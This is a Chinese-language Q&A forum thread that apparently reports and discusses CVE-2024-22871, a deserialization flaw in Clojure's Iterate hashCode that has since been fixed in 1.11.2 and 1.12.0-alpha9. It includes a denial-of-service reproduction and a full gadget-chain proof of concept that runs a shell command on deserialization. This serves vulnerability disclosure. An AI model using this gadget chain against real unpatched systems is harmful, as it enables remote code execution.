2024 Clojure 状态调查! 中分享您的想法。

欢迎!请参阅 关于 页面以获取有关如何使用本站的一些更多信息。

+1 投票
Clojure
已关闭

报告漏洞

在 org.clojure:clojure 中,存在以下漏洞:
- 拒绝服务攻击(clojure 版本 1.2.0 - 1.12.0)

dos

Command Injection

请注意,此漏洞不需要额外的组件。

详细信息
1.12.0-a5 中的 RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

随备注关闭: 在 Clojure 1.11.2 和 1.12.0-alpha9 中发布
如以下所述,DDoS 攻击可能影响 1.2.0-1.12.0,本地验证的命令执行可能影响 1.9.0-1.12.0。
在我看来,一些当前的问题与以下情况类似,但却是新的绕过方式。


https://clojure.atlassian.net/browse/CLJ-2204

编辑
我不太理解,既然全部都是Java,Clojure与这个问题有什么关系?

更新:我正确理解了您所说的是否可以在不使用Clojure的情况下,在Java中实现相同的功能吗?
处理不当,函数调用图部分依赖于Clojure,如apply、RestFn等。版本1.9.0-1.12.0(在Clojure版本poc)中可以通过访问匿名函数类来获取$fn_5920以执行命令。

1 答案

+3

被选中
 
最佳答案

在不受信任的数据上使用ObjectInputStream是固有的危险,因为该类的文档本身就是这样说的。为什么不应该将展示该类危险性的JAR中提供的某些使用的类视为漏洞呢?

为未来的读者提供一个更简单的方法来重现。

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
是的,`ObjectInputStream`确实引入了潜在的安全风险。然而,关于这个特定的漏洞,问题并不在于讨论导致安全问题的潜在风险。问题在于在1.12.0-alpha5版本中,可以构造一个特殊的序列化数据包,这加剧了这些风险的可能危害。这可以在不依赖其他组件的情况下实现命令执行(看起来`process$start`是一个新引入的函数)。反序列化时的危害通常取决于项目环境,但这个漏洞不需要任何其他依赖,是一个与JAR包本身相关的问题。
明白了。但这与1.12.0-alpha5无关 - 我刚刚添加到回答中的代码可以在1.8.0版本上运行以重现该行为。稍作修改后,它可以在1.2.0版本上运行(但更早的版本不行,因为在那之前`clojure.lang.Cons`是不可序列化的)。
是的,这个漏洞只影响1.12.0-alpha5版本。我对之前的版本没有做太多的分析,我对它们有其他高风险的反序列化漏洞持悲观态度。
顺便说一句,如果可能的话,希望开发者可以发布CVE,尽管我请求CVE,但我还没有收到回复。
你说的“是”,但写了与我所说的相反的内容 - 漏洞影响从1.2.0版本开始的Clojure的所有版本。
真的吗?大家是在指由这个反序列化引起的命令执行漏洞吗?因为我不是非常了解 Clojure,这是我从自己的程序分析工具中得到的分析结果。
最让我困惑的是 core$partial$fn__5920 类的生成原理。我用 soot 分析了 clojure.jar,但我想了解 Clojure 中 core$partial$fn__5920 的实际代码。
特定的类是从 `partial` 函数的这种形式生成的:[链接](https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638)
谢谢。由于时差,可能无法及时回复。
by
编辑 by
另一种生成命令执行攻击的方法

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "Writing is done. Reading...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
by
请注意,仅设置'fn start (ns-resolve 'clojure.java.shell 'sh)'后,这可能会影响版本1.9.0 - 1.12.0,并且它还可以实现命令执行。
by
不确定您最后一条评论的含义。在`clojure.java.shell`命名空间中使用的`sh`函数用于外部壳和运行命令,因此当然可以用它运行东西。命令执行机制仍然依赖于`Iterate`类实现其哈希的方式。
by
这是因为我在上一个版本中使用了process $ start,但不幸的是,这是在1.12.0中引入的新功能;之后,检查项目发现您可以直接使用shell函数来直接运行命令。是的,哈希计算的问题仍然出现在Iterate类的实现中。
by
这个问题已在1.11.2和1.12.0-alpha9中的Iterate hashCode()中修复。
...